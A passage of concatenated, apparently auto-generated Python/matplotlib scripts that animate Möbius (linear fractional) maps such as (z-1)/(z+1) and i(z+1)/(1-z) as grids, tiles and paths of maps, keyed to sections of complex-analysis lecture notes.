    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A linear fractional map, step by step: $\frac{z-1}{z+1}$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Definition 34.1 and Theorem 34.2(iv), p. 177 (ch34-lft.tex:12, 37); Corollary 34.3 and Proposition 34.4, p. 178 (ch34:92, 105) -- example map chosen here
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (lambda w: np.exp(1j*pi*seg(s,.5,.75))*2**seg(s,.5,.75)*w)(mob(mpow([[0, 1], [1, 0]], seg(s,.25,.5)), z + seg(s,0,.25))) + seg(s,.75,1)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 3.2, -2.7, 2.7)
SUB = '$T(z)=1-\\frac{2}{z+1}$: translate by $1$, invert, multiply by $-2$, translate by $1$;\nthe imaginary axis (green) ends on the unit circle'
TITLE = '$\\mathrm{translate,\\ invert,\\ turn\\ and\\ scale,\\ translate},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0, 3, -2, 2, 7, 9)
AVOID = []
EXTRAS = [('1j*(-8+16*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A linear fractional map, step by step: $\frac{z-1}{z+1}$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Definition 34.1 and Theorem 34.2(iv), p. 177 (ch34-lft.tex:12, 37); Corollary 34.3 and Proposition 34.4, p. 178 (ch34:92, 105) -- example map chosen here
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (lambda w: np.exp(1j*pi*seg(s,.5,.75))*2**seg(s,.5,.75)*w)(mob(mpow([[0, 1], [1, 0]], seg(s,.25,.5)), z + seg(s,0,.25))) + seg(s,.75,1)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 2.6, -2.1, 2.1)
SUB = 'the right half-plane onto the unit disc'
TITLE = '$\\mathrm{translate,\\ invert,\\ turn\\ and\\ scale,\\ translate},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (0, 2, -2, 2, 4, 8)
HILITE = [13, 18]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Three points: $T(z)=i\,\frac{z+1}{1-z}$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 34.5, p. 178 (ch34:121); Example 34.7, p. 179 (ch34:165)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (1j*(z+1)/(1-z))
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-4, 4, -4, 4)
SUB = 'every point moves in a straight line from $z$ to $i\\frac{z+1}{1-z}$'
TITLE = '$w=(1-s)\\,z+s\\,i\\frac{z+1}{1-z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-2, 2, -2, 2, 9, 9)
AVOID = [1]
EXTRAS = [('(-8+16*u)+0j', 'tab:green')]
TRACK = 0j

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Three points: $T(z)=i\,\frac{z+1}{1-z}$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 34.5, p. 178 (ch34:121); Example 34.7, p. 179 (ch34:165)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[1j, 1j], [-1, 1]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-4, 4, -4, 4)
SUB = '$T(-1)=0,\\ T(0)=i,\\ T(1)=\\infty$:\nthe real axis (green) goes to the imaginary axis'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-2, 2, -2, 2, 9, 9)
AVOID = [1]
EXTRAS = [('(-8+16*u)+0j', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
